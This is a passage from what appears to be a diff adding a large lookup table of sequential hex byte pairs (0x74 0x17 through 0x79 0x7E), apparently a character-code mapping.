0x17, + 0x74, 0x18, 0x74, 0x19, 0x74, 0x1A, 0x74, 0x1B, + 0x74, 0x1C, 0x74, 0x1D, 0x74, 0x1E, 0x74, 0x1F, + 0x74, 0x20, 0x74, 0x21, 0x74, 0x22, 0x74, 0x23, + 0x74, 0x24, 0x74, 0x25, 0x74, 0x26, 0x74, 0x27, + 0x74, 0x28, 0x74, 0x29, 0x74, 0x2A, 0x74, 0x2B, + 0x74, 0x2C, 0x74, 0x2D, 0x74, 0x2E, 0x74, 0x2F, + 0x74, 0x30, 0x74, 0x31, 0x74, 0x32, 0x74, 0x33, + 0x74, 0x34, 0x74, 0x35, 0x74, 0x36, 0x74, 0x37, + 0x74, 0x38, 0x74, 0x39, 0x74, 0x3A, 0x74, 0x3B, + 0x74, 0x3C, 0x74, 0x3D, 0x74, 0x3E, 0x74, 0x3F, + 0x74, 0x40, 0x74, 0x41, 0x74, 0x42, 0x74, 0x43, + 0x74, 0x44, 0x74, 0x45, 0x74, 0x46, 0x74, 0x47, + 0x74, 0x48, 0x74, 0x49, 0x74, 0x4A, 0x74, 0x4B, + 0x74, 0x4C, 0x74, 0x4D, 0x74, 0x4E, 0x74, 0x4F, + 0x74, 0x50, 0x74, 0x51, 0x74, 0x52, 0x74, 0x53, + 0x74, 0x54, 0x74, 0x55, 0x74, 0x56, 0x74, 0x57, + 0x74, 0x58, 0x74, 0x59, 0x74, 0x5A, 0x74, 0x5B, + 0x74, 0x5C, 0x74, 0x5D, 0x74, 0x5E, 0x74, 0x5F, + 0x74, 0x60, 0x74, 0x61, 0x74, 0x62, 0x74, 0x63, + 0x74, 0x64, 0x74, 0x65, 0x74, 0x66, 0x74, 0x67, + 0x74, 0x68, 0x74, 0x69, 0x74, 0x6A, 0x74, 0x6B, + 0x74, 0x6C, 0x74, 0x6D, 0x74, 0x6E, 0x74, 0x6F, + 0x74, 0x70, 0x74, 0x71, 0x74, 0x72, 0x74, 0x73, + 0x74, 0x74, 0x74, 0x75, 0x74, 0x76, 0x74, 0x77, + 0x74, 0x78, 0x74, 0x79, 0x74, 0x7A, 0x74, 0x7B, + 0x74, 0x7C, 0x74, 0x7D, 0x74, 0x7E, 0x74, 0x7F, + 0x74, 0x80, 0x74, 0x81, 0x74, 0x82, 0x74, 0x83, + 0x74, 0x84, 0x74, 0x85, 0x74, 0x86, 0x74, 0x87, + 0x74, 0x88, 0x74, 0x89, 0x74, 0x8A, 0x74, 0x8B, + 0x74, 0x8C, 0x74, 0x8D, 0x74, 0x8E, 0x74, 0x8F, + 0x74, 0x90, 0x74, 0x91, 0x74, 0x92, 0x74, 0x93, + 0x74, 0x94, 0x74, 0x95, 0x74, 0x96, 0x74, 0x97, + 0x74, 0x98, 0x74, 0x99, 0x74, 0x9A, 0x74, 0x9B, + 0x74, 0x9C, 0x74, 0x9D, 0x74, 0x9E, 0x74, 0x9F, + 0x74, 0xA0, 0x74, 0xA1, 0x74, 0xA2, 0x74, 0xA3, + 0x74, 0xA4, 0x74, 0xA5, 0x74, 0xA6, 0x74, 0xA7, + 0x74, 0xA8, 0x74, 0xA9, 0x74, 0xAA, 0x74, 0xAB, + 0x74, 0xAC, 0x74, 0xAD, 0x74, 0xAE, 0x74, 0xAF, + 0x74, 0xB0, 0x74, 0xB1, 0x74, 0xB2, 0x74, 0xB3, + 0x74, 0xB4, 0x74, 0xB5, 0x74, 0xB6, 0x74, 0xB7, + 0x74, 0xB8, 0x74, 0xB9, 0x74, 0xBA, 0x74, 0xBB, + 0x74, 0xBC, 0x74, 0xBD, 0x74, 0xBE, 0x74, 0xBF, + 0x74, 0xC0, 0x74, 0xC1, 0x74, 0xC2, 0x74, 0xC3, + 0x74, 0xC4, 0x74, 0xC5, 0x74, 0xC6, 0x74, 0xC7, + 0x74, 0xC8, 0x74, 0xC9, 0x74, 0xCA, 0x74, 0xCB, + 0x74, 0xCC, 0x74, 0xCD, 0x74, 0xCE, 0x74, 0xCF, + 0x74, 0xD0, 0x74, 0xD1, 0x74, 0xD2, 0x74, 0xD3, + 0x74, 0xD4, 0x74, 0xD5, 0x74, 0xD6, 0x74, 0xD7, + 0x74, 0xD8, 0x74, 0xD9, 0x74, 0xDA, 0x74, 0xDB, + 0x74, 0xDC, 0x74, 0xDD, 0x74, 0xDE, 0x74, 0xDF, + 0x74, 0xE0, 0x74, 0xE1, 0x74, 0xE2, 0x74, 0xE3, + 0x74, 0xE4, 0x74, 0xE5, 0x74, 0xE6, 0x74, 0xE7, + 0x74, 0xE8, 0x74, 0xE9, 0x74, 0xEA, 0x74, 0xEB, + 0x74, 0xEC, 0x74, 0xED, 0x74, 0xEE, 0x74, 0xEF, + 0x74, 0xF0, 0x74, 0xF1, 0x74, 0xF2, 0x74, 0xF3, + 0x74, 0xF4, 0x74, 0xF5, 0x74, 0xF6, 0x74, 0xF7, + 0x74, 0xF8, 0x74, 0xF9, 0x74, 0xFA, 0x74, 0xFB, + 0x74, 0xFC, 0x74, 0xFD, 0x74, 0xFE, 0x74, 0xFF, + 0x75, 0x00, 0x75, 0x01, 0x75, 0x02, 0x75, 0x03, + 0x75, 0x04, 0x75, 0x05, 0x75, 0x06, 0x75, 0x07, + 0x75, 0x08, 0x75, 0x09, 0x75, 0x0A, 0x75, 0x0B, + 0x75, 0x0C, 0x75, 0x0D, 0x75, 0x0E, 0x75, 0x0F, + 0x75, 0x10, 0x75, 0x11, 0x75, 0x12, 0x75, 0x13, + 0x75, 0x14, 0x75, 0x15, 0x75, 0x16, 0x75, 0x17, + 0x75, 0x18, 0x75, 0x19, 0x75, 0x1A, 0x75, 0x1B, + 0x75, 0x1C, 0x75, 0x1D, 0x75, 0x1E, 0x75, 0x1F, + 0x75, 0x20, 0x75, 0x21, 0x75, 0x22, 0x75, 0x23, + 0x75, 0x24, 0x75, 0x25, 0x75, 0x26, 0x75, 0x27, + 0x75, 0x28, 0x75, 0x29, 0x75, 0x2A, 0x75, 0x2B, + 0x75, 0x2C, 0x75, 0x2D, 0x75, 0x2E, 0x75, 0x2F, + 0x75, 0x30, 0x75, 0x31, 0x75, 0x32, 0x75, 0x33, + 0x75, 0x34, 0x75, 0x35, 0x75, 0x36, 0x75, 0x37, + 0x75, 0x38, 0x75, 0x39, 0x75, 0x3A, 0x75, 0x3B, + 0x75, 0x3C, 0x75, 0x3D, 0x75, 0x3E, 0x75, 0x3F, + 0x75, 0x40, 0x75, 0x41, 0x75, 0x42, 0x75, 0x43, + 0x75, 0x44, 0x75, 0x45, 0x75, 0x46, 0x75, 0x47, + 0x75, 0x48, 0x75, 0x49, 0x75, 0x4A, 0x75, 0x4B, + 0x75, 0x4C, 0x75, 0x4D, 0x75, 0x4E, 0x75, 0x4F, + 0x75, 0x50, 0x75, 0x51, 0x75, 0x52, 0x75, 0x53, + 0x75, 0x54, 0x75, 0x55, 0x75, 0x56, 0x75, 0x57, + 0x75, 0x58, 0x75, 0x59, 0x75, 0x5A, 0x75, 0x5B, + 0x75, 0x5C, 0x75, 0x5D, 0x75, 0x5E, 0x75, 0x5F, + 0x75, 0x60, 0x75, 0x61, 0x75, 0x62, 0x75, 0x63, + 0x75, 0x64, 0x75, 0x65, 0x75, 0x66, 0x75, 0x67, + 0x75, 0x68, 0x75, 0x69, 0x75, 0x6A, 0x75, 0x6B, + 0x75, 0x6C, 0x75, 0x6D, 0x75, 0x6E, 0x75, 0x6F, + 0x75, 0x70, 0x75, 0x71, 0x75, 0x72, 0x75, 0x73, + 0x75, 0x74, 0x75, 0x75, 0x75, 0x76, 0x75, 0x77, + 0x75, 0x78, 0x75, 0x79, 0x75, 0x7A, 0x75, 0x7B, + 0x75, 0x7C, 0x75, 0x7D, 0x75, 0x7E, 0x75, 0x7F, + 0x75, 0x80, 0x75, 0x81, 0x75, 0x82, 0x75, 0x83, + 0x75, 0x84, 0x75, 0x85, 0x75, 0x86, 0x75, 0x87, + 0x75, 0x88, 0x75, 0x89, 0x75, 0x8A, 0x75, 0x8B, + 0x75, 0x8C, 0x75, 0x8D, 0x75, 0x8E, 0x75, 0x8F, + 0x75, 0x90, 0x75, 0x91, 0x75, 0x92, 0x75, 0x93, + 0x75, 0x94, 0x75, 0x95, 0x75, 0x96, 0x75, 0x97, + 0x75, 0x98, 0x75, 0x99, 0x75, 0x9A, 0x75, 0x9B, + 0x75, 0x9C, 0x75, 0x9D, 0x75, 0x9E, 0x75, 0x9F, + 0x75, 0xA0, 0x75, 0xA1, 0x75, 0xA2, 0x75, 0xA3, + 0x75, 0xA4, 0x75, 0xA5, 0x75, 0xA6, 0x75, 0xA7, + 0x75, 0xA8, 0x75, 0xA9, 0x75, 0xAA, 0x75, 0xAB, + 0x75, 0xAC, 0x75, 0xAD, 0x75, 0xAE, 0x75, 0xAF, + 0x75, 0xB0, 0x75, 0xB1, 0x75, 0xB2, 0x75, 0xB3, + 0x75, 0xB4, 0x75, 0xB5, 0x75, 0xB6, 0x75, 0xB7, + 0x75, 0xB8, 0x75, 0xB9, 0x75, 0xBA, 0x75, 0xBB, + 0x75, 0xBC, 0x75, 0xBD, 0x75, 0xBE, 0x75, 0xBF, + 0x75, 0xC0, 0x75, 0xC1, 0x75, 0xC2, 0x75, 0xC3, + 0x75, 0xC4, 0x75, 0xC5, 0x75, 0xC6, 0x75, 0xC7, + 0x75, 0xC8, 0x75, 0xC9, 0x75, 0xCA, 0x75, 0xCB, + 0x75, 0xCC, 0x75, 0xCD, 0x75, 0xCE, 0x75, 0xCF, + 0x75, 0xD0, 0x75, 0xD1, 0x75, 0xD2, 0x75, 0xD3, + 0x75, 0xD4, 0x75, 0xD5, 0x75, 0xD6, 0x75, 0xD7, + 0x75, 0xD8, 0x75, 0xD9, 0x75, 0xDA, 0x75, 0xDB, + 0x75, 0xDC, 0x75, 0xDD, 0x75, 0xDE, 0x75, 0xDF, + 0x75, 0xE0, 0x75, 0xE1, 0x75, 0xE2, 0x75, 0xE3, + 0x75, 0xE4, 0x75, 0xE5, 0x75, 0xE6, 0x75, 0xE7, + 0x75, 0xE8, 0x75, 0xE9, 0x75, 0xEA, 0x75, 0xEB, + 0x75, 0xEC, 0x75, 0xED, 0x75, 0xEE, 0x75, 0xEF, + 0x75, 0xF0, 0x75, 0xF1, 0x75, 0xF2, 0x75, 0xF3, + 0x75, 0xF4, 0x75, 0xF5, 0x75, 0xF6, 0x75, 0xF7, + 0x75, 0xF8, 0x75, 0xF9, 0x75, 0xFA, 0x75, 0xFB, + 0x75, 0xFC, 0x75, 0xFD, 0x75, 0xFE, 0x75, 0xFF, + 0x76, 0x00, 0x76, 0x01, 0x76, 0x02, 0x76, 0x03, + 0x76, 0x04, 0x76, 0x05, 0x76, 0x06, 0x76, 0x07, + 0x76, 0x08, 0x76, 0x09, 0x76, 0x0A, 0x76, 0x0B, + 0x76, 0x0C, 0x76, 0x0D, 0x76, 0x0E, 0x76, 0x0F, + 0x76, 0x10, 0x76, 0x11, 0x76, 0x12, 0x76, 0x13, + 0x76, 0x14, 0x76, 0x15, 0x76, 0x16, 0x76, 0x17, + 0x76, 0x18, 0x76, 0x19, 0x76, 0x1A, 0x76, 0x1B, + 0x76, 0x1C, 0x76, 0x1D, 0x76, 0x1E, 0x76, 0x1F, + 0x76, 0x20, 0x76, 0x21, 0x76, 0x22, 0x76, 0x23, + 0x76, 0x24, 0x76, 0x25, 0x76, 0x26, 0x76, 0x27, + 0x76, 0x28, 0x76, 0x29, 0x76, 0x2A, 0x76, 0x2B, + 0x76, 0x2C, 0x76, 0x2D, 0x76, 0x2E, 0x76, 0x2F, + 0x76, 0x30, 0x76, 0x31, 0x76, 0x32, 0x76, 0x33, + 0x76, 0x34, 0x76, 0x35, 0x76, 0x36, 0x76, 0x37, + 0x76, 0x38, 0x76, 0x39, 0x76, 0x3A, 0x76, 0x3B, + 0x76, 0x3C, 0x76, 0x3D, 0x76, 0x3E, 0x76, 0x3F, + 0x76, 0x40, 0x76, 0x41, 0x76, 0x42, 0x76, 0x43, + 0x76, 0x44, 0x76, 0x45, 0x76, 0x46, 0x76, 0x47, + 0x76, 0x48, 0x76, 0x49, 0x76, 0x4A, 0x76, 0x4B, + 0x76, 0x4C, 0x76, 0x4D, 0x76, 0x4E, 0x76, 0x4F, + 0x76, 0x50, 0x76, 0x51, 0x76, 0x52, 0x76, 0x53, + 0x76, 0x54, 0x76, 0x55, 0x76, 0x56, 0x76, 0x57, + 0x76, 0x58, 0x76, 0x59, 0x76, 0x5A, 0x76, 0x5B, + 0x76, 0x5C, 0x76, 0x5D, 0x76, 0x5E, 0x76, 0x5F, + 0x76, 0x60, 0x76, 0x61, 0x76, 0x62, 0x76, 0x63, + 0x76, 0x64, 0x76, 0x65, 0x76, 0x66, 0x76, 0x67, + 0x76, 0x68, 0x76, 0x69, 0x76, 0x6A, 0x76, 0x6B, + 0x76, 0x6C, 0x76, 0x6D, 0x76, 0x6E, 0x76, 0x6F, + 0x76, 0x70, 0x76, 0x71, 0x76, 0x72, 0x76, 0x73, + 0x76, 0x74, 0x76, 0x75, 0x76, 0x76, 0x76, 0x77, + 0x76, 0x78, 0x76, 0x79, 0x76, 0x7A, 0x76, 0x7B, + 0x76, 0x7C, 0x76, 0x7D, 0x76, 0x7E, 0x76, 0x7F, + 0x76, 0x80, 0x76, 0x81, 0x76, 0x82, 0x76, 0x83, + 0x76, 0x84, 0x76, 0x85, 0x76, 0x86, 0x76, 0x87, + 0x76, 0x88, 0x76, 0x89, 0x76, 0x8A, 0x76, 0x8B, + 0x76, 0x8C, 0x76, 0x8D, 0x76, 0x8E, 0x76, 0x8F, + 0x76, 0x90, 0x76, 0x91, 0x76, 0x92, 0x76, 0x93, + 0x76, 0x94, 0x76, 0x95, 0x76, 0x96, 0x76, 0x97, + 0x76, 0x98, 0x76, 0x99, 0x76, 0x9A, 0x76, 0x9B, + 0x76, 0x9C, 0x76, 0x9D, 0x76, 0x9E, 0x76, 0x9F, + 0x76, 0xA0, 0x76, 0xA1, 0x76, 0xA2, 0x76, 0xA3, + 0x76, 0xA4, 0x76, 0xA5, 0x76, 0xA6, 0x76, 0xA7, + 0x76, 0xA8, 0x76, 0xA9, 0x76, 0xAA, 0x76, 0xAB, + 0x76, 0xAC, 0x76, 0xAD, 0x76, 0xAE, 0x76, 0xAF, + 0x76, 0xB0, 0x76, 0xB1, 0x76, 0xB2, 0x76, 0xB3, + 0x76, 0xB4, 0x76, 0xB5, 0x76, 0xB6, 0x76, 0xB7, + 0x76, 0xB8, 0x76, 0xB9, 0x76, 0xBA, 0x76, 0xBB, + 0x76, 0xBC, 0x76, 0xBD, 0x76, 0xBE, 0x76, 0xBF, + 0x76, 0xC0, 0x76, 0xC1, 0x76, 0xC2, 0x76, 0xC3, + 0x76, 0xC4, 0x76, 0xC5, 0x76, 0xC6, 0x76, 0xC7, + 0x76, 0xC8, 0x76, 0xC9, 0x76, 0xCA, 0x76, 0xCB, + 0x76, 0xCC, 0x76, 0xCD, 0x76, 0xCE, 0x76, 0xCF, + 0x76, 0xD0, 0x76, 0xD1, 0x76, 0xD2, 0x76, 0xD3, + 0x76, 0xD4, 0x76, 0xD5, 0x76, 0xD6, 0x76, 0xD7, + 0x76, 0xD8, 0x76, 0xD9, 0x76, 0xDA, 0x76, 0xDB, + 0x76, 0xDC, 0x76, 0xDD, 0x76, 0xDE, 0x76, 0xDF, + 0x76, 0xE0, 0x76, 0xE1, 0x76, 0xE2, 0x76, 0xE3, + 0x76, 0xE4, 0x76, 0xE5, 0x76, 0xE6, 0x76, 0xE7, + 0x76, 0xE8, 0x76, 0xE9, 0x76, 0xEA, 0x76, 0xEB, + 0x76, 0xEC, 0x76, 0xED, 0x76, 0xEE, 0x76, 0xEF, + 0x76, 0xF0, 0x76, 0xF1, 0x76, 0xF2, 0x76, 0xF3, + 0x76, 0xF4, 0x76, 0xF5, 0x76, 0xF6, 0x76, 0xF7, + 0x76, 0xF8, 0x76, 0xF9, 0x76, 0xFA, 0x76, 0xFB, + 0x76, 0xFC, 0x76, 0xFD, 0x76, 0xFE, 0x76, 0xFF, + 0x77, 0x00, 0x77, 0x01, 0x77, 0x02, 0x77, 0x03, + 0x77, 0x04, 0x77, 0x05, 0x77, 0x06, 0x77, 0x07, + 0x77, 0x08, 0x77, 0x09, 0x77, 0x0A, 0x77, 0x0B, + 0x77, 0x0C, 0x77, 0x0D, 0x77, 0x0E, 0x77, 0x0F, + 0x77, 0x10, 0x77, 0x11, 0x77, 0x12, 0x77, 0x13, + 0x77, 0x14, 0x77, 0x15, 0x77, 0x16, 0x77, 0x17, + 0x77, 0x18, 0x77, 0x19, 0x77, 0x1A, 0x77, 0x1B, + 0x77, 0x1C, 0x77, 0x1D, 0x77, 0x1E, 0x77, 0x1F, + 0x77, 0x20, 0x77, 0x21, 0x77, 0x22, 0x77, 0x23, + 0x77, 0x24, 0x77, 0x25, 0x77, 0x26, 0x77, 0x27, + 0x77, 0x28, 0x77, 0x29, 0x77, 0x2A, 0x77, 0x2B, + 0x77, 0x2C, 0x77, 0x2D, 0x77, 0x2E, 0x77, 0x2F, + 0x77, 0x30, 0x77, 0x31, 0x77, 0x32, 0x77, 0x33, + 0x77, 0x34, 0x77, 0x35, 0x77, 0x36, 0x77, 0x37, + 0x77, 0x38, 0x77, 0x39, 0x77, 0x3A, 0x77, 0x3B, + 0x77, 0x3C, 0x77, 0x3D, 0x77, 0x3E, 0x77, 0x3F, + 0x77, 0x40, 0x77, 0x41, 0x77, 0x42, 0x77, 0x43, + 0x77, 0x44, 0x77, 0x45, 0x77, 0x46, 0x77, 0x47, + 0x77, 0x48, 0x77, 0x49, 0x77, 0x4A, 0x77, 0x4B, + 0x77, 0x4C, 0x77, 0x4D, 0x77, 0x4E, 0x77, 0x4F, + 0x77, 0x50, 0x77, 0x51, 0x77, 0x52, 0x77, 0x53, + 0x77, 0x54, 0x77, 0x55, 0x77, 0x56, 0x77, 0x57, + 0x77, 0x58, 0x77, 0x59, 0x77, 0x5A, 0x77, 0x5B, + 0x77, 0x5C, 0x77, 0x5D, 0x77, 0x5E, 0x77, 0x5F, + 0x77, 0x60, 0x77, 0x61, 0x77, 0x62, 0x77, 0x63, + 0x77, 0x64, 0x77, 0x65, 0x77, 0x66, 0x77, 0x67, + 0x77, 0x68, 0x77, 0x69, 0x77, 0x6A, 0x77, 0x6B, + 0x77, 0x6C, 0x77, 0x6D, 0x77, 0x6E, 0x77, 0x6F, + 0x77, 0x70, 0x77, 0x71, 0x77, 0x72, 0x77, 0x73, + 0x77, 0x74, 0x77, 0x75, 0x77, 0x76, 0x77, 0x77, + 0x77, 0x78, 0x77, 0x79, 0x77, 0x7A, 0x77, 0x7B, + 0x77, 0x7C, 0x77, 0x7D, 0x77, 0x7E, 0x77, 0x7F, + 0x77, 0x80, 0x77, 0x81, 0x77, 0x82, 0x77, 0x83, + 0x77, 0x84, 0x77, 0x85, 0x77, 0x86, 0x77, 0x87, + 0x77, 0x88, 0x77, 0x89, 0x77, 0x8A, 0x77, 0x8B, + 0x77, 0x8C, 0x77, 0x8D, 0x77, 0x8E, 0x77, 0x8F, + 0x77, 0x90, 0x77, 0x91, 0x77, 0x92, 0x77, 0x93, + 0x77, 0x94, 0x77, 0x95, 0x77, 0x96, 0x77, 0x97, + 0x77, 0x98, 0x77, 0x99, 0x77, 0x9A, 0x77, 0x9B, + 0x77, 0x9C, 0x77, 0x9D, 0x77, 0x9E, 0x77, 0x9F, + 0x77, 0xA0, 0x77, 0xA1, 0x77, 0xA2, 0x77, 0xA3, + 0x77, 0xA4, 0x77, 0xA5, 0x77, 0xA6, 0x77, 0xA7, + 0x77, 0xA8, 0x77, 0xA9, 0x77, 0xAA, 0x77, 0xAB, + 0x77, 0xAC, 0x77, 0xAD, 0x77, 0xAE, 0x77, 0xAF, + 0x77, 0xB0, 0x77, 0xB1, 0x77, 0xB2, 0x77, 0xB3, + 0x77, 0xB4, 0x77, 0xB5, 0x77, 0xB6, 0x77, 0xB7, + 0x77, 0xB8, 0x77, 0xB9, 0x77, 0xBA, 0x77, 0xBB, + 0x77, 0xBC, 0x77, 0xBD, 0x77, 0xBE, 0x77, 0xBF, + 0x77, 0xC0, 0x77, 0xC1, 0x77, 0xC2, 0x77, 0xC3, + 0x77, 0xC4, 0x77, 0xC5, 0x77, 0xC6, 0x77, 0xC7, + 0x77, 0xC8, 0x77, 0xC9, 0x77, 0xCA, 0x77, 0xCB, + 0x77, 0xCC, 0x77, 0xCD, 0x77, 0xCE, 0x77, 0xCF, + 0x77, 0xD0, 0x77, 0xD1, 0x77, 0xD2, 0x77, 0xD3, + 0x77, 0xD4, 0x77, 0xD5, 0x77, 0xD6, 0x77, 0xD7, + 0x77, 0xD8, 0x77, 0xD9, 0x77, 0xDA, 0x77, 0xDB, + 0x77, 0xDC, 0x77, 0xDD, 0x77, 0xDE, 0x77, 0xDF, + 0x77, 0xE0, 0x77, 0xE1, 0x77, 0xE2, 0x77, 0xE3, + 0x77, 0xE4, 0x77, 0xE5, 0x77, 0xE6, 0x77, 0xE7, + 0x77, 0xE8, 0x77, 0xE9, 0x77, 0xEA, 0x77, 0xEB, + 0x77, 0xEC, 0x77, 0xED, 0x77, 0xEE, 0x77, 0xEF, + 0x77, 0xF0, 0x77, 0xF1, 0x77, 0xF2, 0x77, 0xF3, + 0x77, 0xF4, 0x77, 0xF5, 0x77, 0xF6, 0x77, 0xF7, + 0x77, 0xF8, 0x77, 0xF9, 0x77, 0xFA, 0x77, 0xFB, + 0x77, 0xFC, 0x77, 0xFD, 0x77, 0xFE, 0x77, 0xFF, + 0x78, 0x00, 0x78, 0x01, 0x78, 0x02, 0x78, 0x03, + 0x78, 0x04, 0x78, 0x05, 0x78, 0x06, 0x78, 0x07, + 0x78, 0x08, 0x78, 0x09, 0x78, 0x0A, 0x78, 0x0B, + 0x78, 0x0C, 0x78, 0x0D, 0x78, 0x0E, 0x78, 0x0F, + 0x78, 0x10, 0x78, 0x11, 0x78, 0x12, 0x78, 0x13, + 0x78, 0x14, 0x78, 0x15, 0x78, 0x16, 0x78, 0x17, + 0x78, 0x18, 0x78, 0x19, 0x78, 0x1A, 0x78, 0x1B, + 0x78, 0x1C, 0x78, 0x1D, 0x78, 0x1E, 0x78, 0x1F, + 0x78, 0x20, 0x78, 0x21, 0x78, 0x22, 0x78, 0x23, + 0x78, 0x24, 0x78, 0x25, 0x78, 0x26, 0x78, 0x27, + 0x78, 0x28, 0x78, 0x29, 0x78, 0x2A, 0x78, 0x2B, + 0x78, 0x2C, 0x78, 0x2D, 0x78, 0x2E, 0x78, 0x2F, + 0x78, 0x30, 0x78, 0x31, 0x78, 0x32, 0x78, 0x33, + 0x78, 0x34, 0x78, 0x35, 0x78, 0x36, 0x78, 0x37, + 0x78, 0x38, 0x78, 0x39, 0x78, 0x3A, 0x78, 0x3B, + 0x78, 0x3C, 0x78, 0x3D, 0x78, 0x3E, 0x78, 0x3F, + 0x78, 0x40, 0x78, 0x41, 0x78, 0x42, 0x78, 0x43, + 0x78, 0x44, 0x78, 0x45, 0x78, 0x46, 0x78, 0x47, + 0x78, 0x48, 0x78, 0x49, 0x78, 0x4A, 0x78, 0x4B, + 0x78, 0x4C, 0x78, 0x4D, 0x78, 0x4E, 0x78, 0x4F, + 0x78, 0x50, 0x78, 0x51, 0x78, 0x52, 0x78, 0x53, + 0x78, 0x54, 0x78, 0x55, 0x78, 0x56, 0x78, 0x57, + 0x78, 0x58, 0x78, 0x59, 0x78, 0x5A, 0x78, 0x5B, + 0x78, 0x5C, 0x78, 0x5D, 0x78, 0x5E, 0x78, 0x5F, + 0x78, 0x60, 0x78, 0x61, 0x78, 0x62, 0x78, 0x63, + 0x78, 0x64, 0x78, 0x65, 0x78, 0x66, 0x78, 0x67, + 0x78, 0x68, 0x78, 0x69, 0x78, 0x6A, 0x78, 0x6B, + 0x78, 0x6C, 0x78, 0x6D, 0x78, 0x6E, 0x78, 0x6F, + 0x78, 0x70, 0x78, 0x71, 0x78, 0x72, 0x78, 0x73, + 0x78, 0x74, 0x78, 0x75, 0x78, 0x76, 0x78, 0x77, + 0x78, 0x78, 0x78, 0x79, 0x78, 0x7A, 0x78, 0x7B, + 0x78, 0x7C, 0x78, 0x7D, 0x78, 0x7E, 0x78, 0x7F, + 0x78, 0x80, 0x78, 0x81, 0x78, 0x82, 0x78, 0x83, + 0x78, 0x84, 0x78, 0x85, 0x78, 0x86, 0x78, 0x87, + 0x78, 0x88, 0x78, 0x89, 0x78, 0x8A, 0x78, 0x8B, + 0x78, 0x8C, 0x78, 0x8D, 0x78, 0x8E, 0x78, 0x8F, + 0x78, 0x90, 0x78, 0x91, 0x78, 0x92, 0x78, 0x93, + 0x78, 0x94, 0x78, 0x95, 0x78, 0x96, 0x78, 0x97, + 0x78, 0x98, 0x78, 0x99, 0x78, 0x9A, 0x78, 0x9B, + 0x78, 0x9C, 0x78, 0x9D, 0x78, 0x9E, 0x78, 0x9F, + 0x78, 0xA0, 0x78, 0xA1, 0x78, 0xA2, 0x78, 0xA3, + 0x78, 0xA4, 0x78, 0xA5, 0x78, 0xA6, 0x78, 0xA7, + 0x78, 0xA8, 0x78, 0xA9, 0x78, 0xAA, 0x78, 0xAB, + 0x78, 0xAC, 0x78, 0xAD, 0x78, 0xAE, 0x78, 0xAF, + 0x78, 0xB0, 0x78, 0xB1, 0x78, 0xB2, 0x78, 0xB3, + 0x78, 0xB4, 0x78, 0xB5, 0x78, 0xB6, 0x78, 0xB7, + 0x78, 0xB8, 0x78, 0xB9, 0x78, 0xBA, 0x78, 0xBB, + 0x78, 0xBC, 0x78, 0xBD, 0x78, 0xBE, 0x78, 0xBF, + 0x78, 0xC0, 0x78, 0xC1, 0x78, 0xC2, 0x78, 0xC3, + 0x78, 0xC4, 0x78, 0xC5, 0x78, 0xC6, 0x78, 0xC7, + 0x78, 0xC8, 0x78, 0xC9, 0x78, 0xCA, 0x78, 0xCB, + 0x78, 0xCC, 0x78, 0xCD, 0x78, 0xCE, 0x78, 0xCF, + 0x78, 0xD0, 0x78, 0xD1, 0x78, 0xD2, 0x78, 0xD3, + 0x78, 0xD4, 0x78, 0xD5, 0x78, 0xD6, 0x78, 0xD7, + 0x78, 0xD8, 0x78, 0xD9, 0x78, 0xDA, 0x78, 0xDB, + 0x78, 0xDC, 0x78, 0xDD, 0x78, 0xDE, 0x78, 0xDF, + 0x78, 0xE0, 0x78, 0xE1, 0x78, 0xE2, 0x78, 0xE3, + 0x78, 0xE4, 0x78, 0xE5, 0x78, 0xE6, 0x78, 0xE7, + 0x78, 0xE8, 0x78, 0xE9, 0x78, 0xEA, 0x78, 0xEB, + 0x78, 0xEC, 0x78, 0xED, 0x78, 0xEE, 0x78, 0xEF, + 0x78, 0xF0, 0x78, 0xF1, 0x78, 0xF2, 0x78, 0xF3, + 0x78, 0xF4, 0x78, 0xF5, 0x78, 0xF6, 0x78, 0xF7, + 0x78, 0xF8, 0x78, 0xF9, 0x78, 0xFA, 0x78, 0xFB, + 0x78, 0xFC, 0x78, 0xFD, 0x78, 0xFE, 0x78, 0xFF, + 0x79, 0x00, 0x79, 0x01, 0x79, 0x02, 0x79, 0x03, + 0x79, 0x04, 0x79, 0x05, 0x79, 0x06, 0x79, 0x07, + 0x79, 0x08, 0x79, 0x09, 0x79, 0x0A, 0x79, 0x0B, + 0x79, 0x0C, 0x79, 0x0D, 0x79, 0x0E, 0x79, 0x0F, + 0x79, 0x10, 0x79, 0x11, 0x79, 0x12, 0x79, 0x13, + 0x79, 0x14, 0x79, 0x15, 0x79, 0x16, 0x79, 0x17, + 0x79, 0x18, 0x79, 0x19, 0x79, 0x1A, 0x79, 0x1B, + 0x79, 0x1C, 0x79, 0x1D, 0x79, 0x1E, 0x79, 0x1F, + 0x79, 0x20, 0x79, 0x21, 0x79, 0x22, 0x79, 0x23, + 0x79, 0x24, 0x79, 0x25, 0x79, 0x26, 0x79, 0x27, + 0x79, 0x28, 0x79, 0x29, 0x79, 0x2A, 0x79, 0x2B, + 0x79, 0x2C, 0x79, 0x2D, 0x79, 0x2E, 0x79, 0x2F, + 0x79, 0x30, 0x79, 0x31, 0x79, 0x32, 0x79, 0x33, + 0x79, 0x34, 0x79, 0x35, 0x79, 0x36, 0x79, 0x37, + 0x79, 0x38, 0x79, 0x39, 0x79, 0x3A, 0x79, 0x3B, + 0x79, 0x3C, 0x79, 0x3D, 0x79, 0x3E, 0x79, 0x3F, + 0x79, 0x40, 0x79, 0x41, 0x79, 0x42, 0x79, 0x43, + 0x79, 0x44, 0x79, 0x45, 0x79, 0x46, 0x79, 0x47, + 0x79, 0x48, 0x79, 0x49, 0x79, 0x4A, 0x79, 0x4B, + 0x79, 0x4C, 0x79, 0x4D, 0x79, 0x4E, 0x79, 0x4F, + 0x79, 0x50, 0x79, 0x51, 0x79, 0x52, 0x79, 0x53, + 0x79, 0x54, 0x79, 0x55, 0x79, 0x56, 0x79, 0x57, + 0x79, 0x58, 0x79, 0x59, 0x79, 0x5A, 0x79, 0x5B, + 0x79, 0x5C, 0x79, 0x5D, 0x79, 0x5E, 0x79, 0x5F, + 0x79, 0x60, 0x79, 0x61, 0x79, 0x62, 0x79, 0x63, + 0x79, 0x64, 0x79, 0x65, 0x79, 0x66, 0x79, 0x67, + 0x79, 0x68, 0x79, 0x69, 0x79, 0x6A, 0x79, 0x6B, + 0x79, 0x6C, 0x79, 0x6D, 0x79, 0x6E, 0x79, 0x6F, + 0x79, 0x70, 0x79, 0x71, 0x79, 0x72, 0x79, 0x73, + 0x79, 0x74, 0x79, 0x75, 0x79, 0x76, 0x79, 0x77, + 0x79, 0x78, 0x79, 0x79, 0x79, 0x7A, 0x79, 0x7B, + 0x79, 0x7C, 0x79, 0x7D, 0x79, 0x7E, 